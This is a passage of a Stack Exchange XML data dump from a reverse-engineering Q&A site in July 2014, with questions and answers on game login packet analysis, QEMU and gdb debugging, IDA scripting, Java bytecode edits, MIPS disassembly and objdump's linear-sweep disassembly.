  <row Id="4778" PostTypeId="1" CreationDate="2014-07-03T19:36:30.237" Score="4" ViewCount="961" Body="&lt;p&gt;As Google did not yield any results, I decided to ask it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to reverse the login sequence of a game (using gamespy). &#xA;In this login sequence, first the game uses the gamespy protocol (that can be easily resolved with Aluigi's tool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this it sends a network packet to what seems to be a Master Server (This packet not encrypted). &#xA;Then the game (I assume) is looking for an answer from the Master server (a challenge or some infos I don't know). &#xA;The only problem is that the game's server is not public, so I only have the game's code to work with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that something achievable or should I forget about it? &#xA;I tried to mess around the typical winsocket functions (send, receive...) but apart the Gamespy protocol, I can't find any clues about the packet to the master server (except for the first packet the client sends).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help, I'd really appreciate! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="6986" LastEditorUserId="2035" LastEditDate="2014-07-04T09:58:48.293" LastActivityDate="2014-07-04T09:58:48.293" Title="How to find a login packet structure (client-side only)?" Tags="|ollydbg|protocol|packet|" AnswerCount="0" CommentCount="5" ClosedDate="2014-07-09T07:49:16.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="4779" PostTypeId="2" ParentId="4738" CreationDate="2014-07-04T00:06:34.930" Score="10" Body="&lt;p&gt;PANDA developer here. I think that actually most of the things you want are supported by QEMU's native gdbstub. If you start QEMU with the &lt;code&gt;-s -S&lt;/code&gt; options, it will listen on port 1234 for incoming connections, and provide the functionality you want, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Single-step using the &lt;code&gt;si&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;li&gt;Register get/set using &lt;code&gt;info reg&lt;/code&gt; and (for example) &lt;code&gt;set $edi = 0x40c8c39&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reading memory contents with the &lt;code&gt;x&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;li&gt;Modify memory using &lt;code&gt;set *(char *) 0x1a5f2c0 = 0xd9&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Breakpoints using (e.g.) &lt;code&gt;break *0x826e2671&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So using some gdb scripting, I think you should be able to get the capabilities you want with plain gdb and QEMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this was just tested using a Windows 7 32-bit VM and gdb using the &lt;code&gt;target remote :1234&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-07-04T00:06:34.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4780" PostTypeId="2" ParentId="4770" CreationDate="2014-07-04T05:59:09.683" Score="2" Body="&lt;p&gt;Solved it after trying many things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to change the data area to a byte array with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    MakeByte(source);&#xA;    MakeArray(source, byte_count);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after the &lt;code&gt;MakeUnknown&lt;/code&gt;, and then call &lt;code&gt;SetHidden&lt;/code&gt; with value &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to the Hiding the Area with keyboard, the new default keys are &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt;, the displayed text in IDA is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thus final code was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static idc_memcpy(source, dest, byte_count, desc)&#xA;{&#xA;    auto i, val;&#xA;&#xA;    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));&#xA;    Message(&quot;Copy %a: Start\n&quot;, dest);&#xA;&#xA;    for(i = 0; i &amp;lt; byte_count; i = i + 2 )&#xA;    {&#xA;        val = Word(source + i);&#xA;        PatchWord(dest + i, val);&#xA;    }&#xA;&#xA;    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&amp;amp;GetCharPrm(INF_GENFLAGS));&#xA;&#xA;    MakeUnknown(source,byte_count,DOUNK_EXPAND+DOUNK_DELNAMES);&#xA;    MakeByte(source);&#xA;    MakeArray(source, byte_count);&#xA;&#xA;    HideArea(source, source+byte_count, desc, &quot;&quot;, &quot;&quot;, -1);&#xA;    SetHiddenArea(source, 0 );&#xA;    Message(&quot;Copy %a: End\n&quot;, dest);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-07-04T05:59:09.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostTypeId="1" AcceptedAnswerId="4787" CreationDate="2014-07-04T12:31:23.680" Score="3" ViewCount="1147" Body="&lt;p&gt;I modified the byte-code of a third party Java desktop application's &lt;code&gt;.class&lt;/code&gt; file (and repacked the &lt;code&gt;.jar&lt;/code&gt;), only to see that during runtime, my change made no difference, unless my change caused a crash somehow. The most simple experiment I did was to use a hex editor and simply replace a letter in a text string in the &lt;code&gt;.class&lt;/code&gt; file. Runtime (of course, after restarting the Java application), the text was still the original text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the original byte-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldc &quot;Some text.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using a hex editor, I changed the string, and looked again in the byte-code editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldc &quot;Xome text.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decompiled code also shows the modified string. There are no more references to the original string in the &lt;code&gt;.class&lt;/code&gt; file. Despite this change, the displayed text at runtime is &quot;&lt;em&gt;Some text.&lt;/em&gt;&quot; rather than &quot;&lt;em&gt;Xome text.&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I need to take into consideration, e.g. some sort of cache (outside the scope of the application) that must be cleared? I tried to delete the &quot;&lt;em&gt;Temporary Internet Files&lt;/em&gt;&quot; in the Java console, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any assistance you can provide! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Removed:&lt;/strong&gt; The decompiled code and modified files for the real-world application I was experimenting on, due to their questionable nature (didn't really help anyone anyway).&lt;/p&gt;&#xA;" OwnerUserId="6990" LastEditorUserId="6990" LastEditDate="2014-07-04T20:05:41.697" LastActivityDate="2014-07-05T02:49:21.597" Title="Modified Java byte-code, no difference runtime" Tags="|java|byte-code|" AnswerCount="1" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="1" CreationDate="2014-07-04T17:05:33.407" Score="5" ViewCount="3296" Body="&lt;p&gt;I am working on the binary bomb labs and i just disarmed the bomb i am planning on solving it through a debugger and work start to work on my dynamic analysis skills &#xA;or i.e debugging my real question is how to patch or modify assembly instructions in gdb?&lt;/p&gt;&#xA;" OwnerUserId="4260" LastActivityDate="2014-08-05T12:38:17.767" Title="Modifying Control Flow of a running program" Tags="|debugging|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="2" ParentId="4785" CreationDate="2014-07-04T18:03:20.363" Score="0" Body="&lt;p&gt;You can use the set command to enable writing to the executable's .text section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set write on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can use the set command again to set the actual memory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set {int}0xdeadc0de = 0×90909090&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But keep in mind gdb doesn't have a built-in assembler so you'll need to know the bytes that you need to patch in ahead of time (via nasm or some other method). Depending on how complex what you're trying to do is it might be easier to just modify the necessary registers.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-07-04T18:03:20.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="2" ParentId="4783" CreationDate="2014-07-05T02:49:21.597" Score="3" Body="&lt;p&gt;Firstly, I would mention that instead of using a general purpose hex editor, a dedicated &lt;code&gt;class&lt;/code&gt; editor would be much better. There are plenty of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You tried editing the &lt;code&gt;class&lt;/code&gt; file and to your surprise the changes you made were not reflected. At that point you should be pretty much sure that there &lt;em&gt;must&lt;/em&gt; be some other tricks such as generating the strings dynamically, encryption, obfuscation etc.The &lt;code&gt;class&lt;/code&gt; files could also be loaded from some other locations such as a &lt;code&gt;cache&lt;/code&gt; which you do not expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get information about which classes are loaded is to use the following command line switch while starting java.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;java -verbose:class -jar &amp;lt;Your jar file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way the &lt;code&gt;jvm&lt;/code&gt; will notify you when classes are loaded and from which locations. Using this you can know if there is some sort of &lt;em&gt;hidden&lt;/em&gt; &lt;code&gt;cache&lt;/code&gt; from which it loads &lt;code&gt;class&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this option fails, i.e. when you are sure that there is no such hidden &lt;code&gt;cache&lt;/code&gt;, you can almost be sure that there is &lt;code&gt;encryption&lt;/code&gt; involved or the strings are generated &#xA;dynamically. &lt;code&gt;Decompiling&lt;/code&gt; would help, but of course if there is no obfuscation to hinder decompiling. If everything else fails, you may try inspecting the &lt;code&gt;bytecode&lt;/code&gt; of the &lt;code&gt;class&lt;/code&gt;files as a last resort.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-07-05T02:49:21.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4788" PostTypeId="2" ParentId="3345" CreationDate="2014-07-05T10:00:36.873" Score="2" Body="&lt;p&gt;this python functions works for any value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def f_inv(x):&#xA;    mask= (1&amp;lt;&amp;lt;11) - 1&#xA;    a= []&#xA;    while x&amp;gt;0:&#xA;        a.append(x&amp;amp;mask)&#xA;        x &amp;gt;&amp;gt;= 11&#xA;    if not a:&#xA;       return 0&#xA;    z= a.pop()&#xA;    while a:&#xA;        z= (z&amp;lt;&amp;lt;11) | ((z&amp;amp;mask)^a.pop())&#xA;&#xA;    return z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the trick is to split the number in 11 bit chunks, then starting with the highest keep xorring with the previous (higher) chunk. and or everything together.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-07-05T10:00:36.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4789" PostTypeId="1" AcceptedAnswerId="4791" CreationDate="2014-07-05T12:08:17.227" Score="1" ViewCount="255" Body="&lt;p&gt;Executable files created through managed framework like .Net have &lt;code&gt;.exe&lt;/code&gt; extension whereas application created through languages like C++ also has &lt;code&gt;.exe&lt;/code&gt; extension. How does the OS knows whether to run the application through managed framework like .Net or directly ?&lt;/p&gt;&#xA;" OwnerUserId="6994" LastEditorUserId="1547" LastEditDate="2014-07-26T02:42:18.177" LastActivityDate="2014-07-26T02:42:18.177" Title="How does the OS distinguish between executable types" Tags="|windows|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4791" PostTypeId="2" ParentId="4789" CreationDate="2014-07-05T21:42:46.830" Score="7" Body="&lt;p&gt;The COM Descriptor Data Directory (DD 14) is used to lookup the COR20 structure. This is how you can tell the difference between a managed executable and a native executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1614/determining-if-a-file-is-managed-code-or-not/&quot;&gt;this question&lt;/a&gt; for more information. Also see this introduction to the &lt;a href=&quot;http://www.ntcore.com/files/dotnetformat.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;dotnet file format&lt;/a&gt; for an overview.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-07-05T21:42:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4792" PostTypeId="1" CreationDate="2014-07-06T14:00:47.243" Score="3" ViewCount="7744" Body="&lt;p&gt;I'm trying to decompile the windows photo viewer DLL files to try to tweak them, such as editing speed etc. Since this wasn't possible in the registry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opening the files in a program such as ILSpy or dotPeek, I get a message that looks like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This file does not contain a managed assembly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm rather new to reverse engineering things so could anyone tell me what I'm doing wrong here since the programs say it's a .NET Framework 4.5 application.&lt;/p&gt;&#xA;" OwnerUserId="7000" LastEditorUserId="53" LastEditDate="2014-07-06T14:20:40.447" LastActivityDate="2015-05-26T17:22:49.527" Title="Decompiling windows photo viewer" Tags="|dll|.net|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4793" PostTypeId="2" ParentId="4792" CreationDate="2014-07-06T16:26:43.723" Score="3" Body="&lt;p&gt;It's probably a native dll. You can probably decompile the main photo viewer binary (which presumably is managed code, based on your statement) to get some information about the native dll to assist in your disassembly based reverse engineering of the dll.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2014-07-06T16:26:43.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="1" CreationDate="2014-07-07T05:14:59.713" Score="-7" ViewCount="8374" Body="&lt;p&gt;You could help solve this problem?&#xA;Best regards!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int bonus(int *l, int n){                              &#xA;int i, j, aux;                      &#xA;for(i = 0; i &amp;lt; n; i++){                &#xA;    for(j = 0; j &amp;lt; n - i; j++){                  &#xA;        if(l[j] &amp;gt; l[j+1]){&#xA;            aux = l[j];&#xA;            l[j] = l[j+1];&#xA;            l[j+1] = aux;&#xA;        }&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7005" LastActivityDate="2014-07-07T09:19:23.313" Title="Convert C to MIPS assembly code?" Tags="|assembly|c|mips|" AnswerCount="1" CommentCount="3" ClosedDate="2014-07-07T10:38:32.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="2" ParentId="4794" CreationDate="2014-07-07T09:19:23.313" Score="2" Body="&lt;p&gt;It is one of the questions where you'll get much more knowledge if you do it yourself. To do this you have to install and use MIPS compiler and MIPS disassembler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Command line with QNX toolchain:&#xA;&#xA;mips-unknown-nto-qnx6.5.0-gcc -c ./mipst.c&#xA;mips-unknown-nto-qnx6.5.0-objdump -d ./mipst.o&#xA;&#xA;./mipst.o:     file format elf32-tradbigmips&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;00000000 &amp;lt;bonus&amp;gt;:&#xA;   0:   27bdffe0    addiu   sp,sp,-32&#xA;   4:   afbe001c    sw  s8,28(sp)&#xA;   8:   03a0f021    move    s8,sp&#xA;   c:   afc40020    sw  a0,32(s8)&#xA;  10:   afc50024    sw  a1,36(s8)&#xA;  14:   afc00010    sw  zero,16(s8)&#xA;  18:   0800003e    j   f8 &amp;lt;bonus+0xf8&amp;gt;&#xA;  1c:   00000000    nop&#xA;  20:   afc0000c    sw  zero,12(s8)&#xA;  24:   08000034    j   d0 &amp;lt;bonus+0xd0&amp;gt;&#xA;  28:   00000000    nop&#xA;  2c:   8fc2000c    lw  v0,12(s8)&#xA;  30:   00021080    sll v0,v0,0x2&#xA;  34:   8fc30020    lw  v1,32(s8)&#xA;  38:   00621021    addu    v0,v1,v0&#xA;  3c:   8c430000    lw  v1,0(v0)&#xA;  40:   8fc2000c    lw  v0,12(s8)&#xA;  44:   24420001    addiu   v0,v0,1&#xA;  48:   00021080    sll v0,v0,0x2&#xA;  4c:   8fc40020    lw  a0,32(s8)&#xA;  50:   00821021    addu    v0,a0,v0&#xA;  54:   8c420000    lw  v0,0(v0)&#xA;  58:   0043102a    slt v0,v0,v1&#xA;  5c:   10400019    beqz    v0,c4 &amp;lt;bonus+0xc4&amp;gt;&#xA;  60:   00000000    nop&#xA;  64:   8fc2000c    lw  v0,12(s8)&#xA;  68:   00021080    sll v0,v0,0x2&#xA;  6c:   8fc30020    lw  v1,32(s8)&#xA;  70:   00621021    addu    v0,v1,v0&#xA;  74:   8c420000    lw  v0,0(v0)&#xA;  78:   afc20008    sw  v0,8(s8)&#xA;  7c:   8fc2000c    lw  v0,12(s8)&#xA;  80:   00021080    sll v0,v0,0x2&#xA;  84:   8fc30020    lw  v1,32(s8)&#xA;  88:   00621021    addu    v0,v1,v0&#xA;  8c:   8fc3000c    lw  v1,12(s8)&#xA;  90:   24630001    addiu   v1,v1,1&#xA;  94:   00031880    sll v1,v1,0x2&#xA;  98:   8fc40020    lw  a0,32(s8)&#xA;  9c:   00831821    addu    v1,a0,v1&#xA;  a0:   8c630000    lw  v1,0(v1)&#xA;  a4:   ac430000    sw  v1,0(v0)&#xA;  a8:   8fc2000c    lw  v0,12(s8)&#xA;  ac:   24420001    addiu   v0,v0,1&#xA;  b0:   00021080    sll v0,v0,0x2&#xA;  b4:   8fc30020    lw  v1,32(s8)&#xA;  b8:   00621021    addu    v0,v1,v0&#xA;  bc:   8fc30008    lw  v1,8(s8)&#xA;  c0:   ac430000    sw  v1,0(v0)&#xA;  c4:   8fc2000c    lw  v0,12(s8)&#xA;  c8:   24420001    addiu   v0,v0,1&#xA;  cc:   afc2000c    sw  v0,12(s8)&#xA;  d0:   8fc30024    lw  v1,36(s8)&#xA;  d4:   8fc20010    lw  v0,16(s8)&#xA;  d8:   00621823    subu    v1,v1,v0&#xA;  dc:   8fc2000c    lw  v0,12(s8)&#xA;  e0:   0043102a    slt v0,v0,v1&#xA;  e4:   1440ffd1    bnez    v0,2c &amp;lt;bonus+0x2c&amp;gt;&#xA;  e8:   00000000    nop&#xA;  ec:   8fc20010    lw  v0,16(s8)&#xA;  f0:   24420001    addiu   v0,v0,1&#xA;  f4:   afc20010    sw  v0,16(s8)&#xA;  f8:   8fc30010    lw  v1,16(s8)&#xA;  fc:   8fc20024    lw  v0,36(s8)&#xA; 100:   0062102a    slt v0,v1,v0&#xA; 104:   1440ffc6    bnez    v0,20 &amp;lt;bonus+0x20&amp;gt;&#xA; 108:   00000000    nop&#xA; 10c:   03c0e821    move    sp,s8&#xA; 110:   8fbe001c    lw  s8,28(sp)&#xA; 114:   27bd0020    addiu   sp,sp,32&#xA; 118:   03e00008    jr  ra&#xA; 11c:   00000000    nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-07-07T09:19:23.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostTypeId="1" CreationDate="2014-07-07T12:23:56.977" Score="4" ViewCount="617" Body="&lt;p&gt;I'm interested in patching ELF files using IDA and the following &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/pe_scripts.zip&quot; rel=&quot;nofollow&quot;&gt;PE utilities&lt;/a&gt; have proven very useful for patching PEs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there are some publicly available IDA scripts similar to Atli Mar Gudmundsson's set of PE utilities, but for ELF binaries instead of PEs? It doesn't matter if they are IDC or IDAPython.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2014-07-10T05:59:02.907" Title="ELF counterpart for IDA Pro PE utilities" Tags="|ida|elf|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="2" ParentId="4792" CreationDate="2014-07-07T14:00:12.487" Score="1" Body="&lt;p&gt;If your dll is native, and is less than 10 MegaBytes in size, then try to use this &lt;a href=&quot;https://retdec.com/&quot; rel=&quot;nofollow&quot;&gt;Retargetable decompiler&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="12616" LastEditDate="2015-05-26T17:22:49.527" LastActivityDate="2015-05-26T17:22:49.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostTypeId="1" CreationDate="2014-07-07T18:17:01.973" Score="3" ViewCount="2849" Body="&lt;p&gt;So basically I am using &lt;code&gt;objdump&lt;/code&gt; on 32 bit x86 Linux, disassembling some &lt;strong&gt;static linked&lt;/strong&gt; binary compiled by &lt;code&gt;gcc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembled asm code, I find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 80ade23:       74 01                   je     0x80ade26&#xA; 80ade25:       f0 0f c1 16             lock xadd %edx,(%esi) // lock&#xA; 80ade29:       89 54 24 14             mov    %edx,0x14(%esp)&#xA; 80ade2d:       8b 54 24 14             mov    0x14(%esp),%edx&#xA; 80ade31:       3b 15 f0 0e 0f 08       cmp    0x80f0ef0,%edx&#xA; 80ade37:       73 75                   jae    0x80adeae&#xA; 80ade39:       65 83 3d 0c 00 00 00    cmpl   $0x0,%gs:0xc&#xA; 80ade40:       00&#xA; 80ade41:       74 01                   je     0x80ade44&#xA; 80ade43:       f0 0f c1 0d dc 0e 0f    lock xadd %ecx,0x80f0edc // lock&#xA; 80ade4a:       08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically, in my understanding, &lt;code&gt;lock&lt;/code&gt; is a prefix of x86 asm opcode, which is legal here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it seems that &lt;code&gt;je&lt;/code&gt; jump into the position right after &lt;code&gt;lock&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the disassemble results from &lt;code&gt;objdump&lt;/code&gt; correct? It is rare to see &lt;code&gt;objdump&lt;/code&gt; generate this kind of &quot;jump into instructions&quot; asm code..(anyway, I am new to reverse engineering, so... :) )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then how to adjust it to make it re-assemblable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tried to change it in this way and re-assemble it using &lt;code&gt;gcc&lt;/code&gt;, &#xA;it can pass the assemble process, but basically I really don't know if it is a correct way or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; je     S_0x80ade26&#xA; lock   &#xA; S_0x80ade26: xadd %edx,(%esi) // lock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-07-07T19:22:17.880" LastActivityDate="2014-07-09T08:50:17.490" Title="Jump into the instructions, is it a case `objdump` can't handle?" Tags="|disassembly|assembly|x86|reassembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostTypeId="2" ParentId="4798" CreationDate="2014-07-07T19:03:20.690" Score="3" Body="&lt;p&gt;In fact, &lt;code&gt;objdump&lt;/code&gt; use the &lt;em&gt;linear sweep&lt;/em&gt; algorithm to disassemble executable files. It means that it disassembles instructions one after one. Like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First it goes to the entry point and disassemble the first instruction (and get its size):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4028c0:       41 57                   push   %r15&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, knowing the size of the previous instruction, it updates the current address to the next instruction and disassemble it (and get its size again):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4028c2:       41 56                   push   %r14&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And, it iterates again and again (go back to 2) until it reaches the end of the current section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4028c4:       41 55                   push   %r13&#xA;4028c6:       41 54                   push   %r12&#xA;4028c8:       55                      push   %rbp&#xA;4028c9:       48 89 f5                mov    %rsi,%rbp&#xA;4028cc:       53                      push   %rbx&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; implementation add only one small increment on this simple algorithm, it will start on every symbols even if it appear in the middle of the current disassembled instruction. Meaning that you may have the following case (I encountered it while studying an obfuscated software):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   4028c0:       41 57                   push   %r15&#xA;   4028c2:       41 56                   push   %r14&#xA;   4028c4:       41 55                   push   %r13&#xA;   4028c6:       41 54                   push   %r12&#xA;   4028c8:       55                      push   %rbp&#xA;   4028c9:       48 89 f5                mov    %rsi,%rbp&#xA;   4028cc:       48 85 c0                test   %rax,%rax&#xA;&#xA;00000000004028cd &amp;lt;.f668&amp;gt;:&#xA;   4028cd:       85 c0                   test   %eax,%eax&#xA;   4028cf:       53                      push   %rbx&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembler first disassembled &lt;code&gt;4028cc&lt;/code&gt; as an amd64 instruction, but a symbol was at &lt;code&gt;4028cd&lt;/code&gt;. So, the algorithm reseted to this value and started over from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, be aware that the linear sweep algorithm is widely known as being incorrect. It may be mislead very easily. Its main problem is that it does not take into account the semantics of all the instructions, so when reaching a dynamic jump (&lt;code&gt;jmp %rax&lt;/code&gt;), the algorithm won't be able to follow the execution flow. Of course, there are many other ways to mislead this algorithm, I won't try to be exhaustive here on all these techniques (note that &lt;em&gt;recursive traversal&lt;/em&gt; is not really better).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get back to your original questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The linear sweep algorithm cannot track the execution flow of a program. And won't be able to jump over a data if it lays in the middle of instructions. Yet, &lt;code&gt;objdump&lt;/code&gt; may incidentally be correct when a symbol point to the instruction where to jump in the middle of the previous instruction (see the case I described before).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To obtain a proper disassembly of this program, there is no hope with &lt;code&gt;objdump&lt;/code&gt;. But, you can use &lt;code&gt;gdb&lt;/code&gt; and collect an execution trace by instrumenting it though a Python script. Also, other disassembler won't be tricked by this simple layout. You may try &lt;code&gt;radare&lt;/code&gt; or, as Benny suggested, IDAPro. I can also advertise a bit my own tool which is &lt;code&gt;cfgrecovery&lt;/code&gt; from the &lt;a href=&quot;https://github.com/perror/insight&quot; rel=&quot;nofollow&quot;&gt;Insight framework&lt;/a&gt; (but it's a bit overkilling for such a simple trick).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-07-08T09:50:50.720" LastActivityDate="2014-07-08T09:50:50.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostTypeId="2" ParentId="4798" CreationDate="2014-07-07T19:33:53.173" Score="3" Body="&lt;p&gt;I think that what you call &amp;quot;jump into instructions&amp;quot; could be an anti-static analysis technique called &lt;em&gt;disassembly desynchronization&lt;/em&gt;, which interleaves data bytes with code in order to confuse the disassembler. This technique and others are explained in chapter 21 (Obfuscated Code Analysis) of the &lt;a href=&quot;http://www.idabook.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro book&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Using IDA Pro you can obtain the correct disassembly of your code if you:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the binary with IDA (Free or Pro)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your cursor on one problematic line of code, which in your case is at addresses: &lt;code&gt;80ade25&lt;/code&gt; and &lt;code&gt;80ade43&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;lock xadd %edx,(%esi) // lock&#xA;...    &#xA;lock xadd %ecx,0x80f0edc // lock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;strong&gt;Edit&lt;/strong&gt; menu of IDA and then select &lt;strong&gt;Undefine&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now put your cursor at address where the 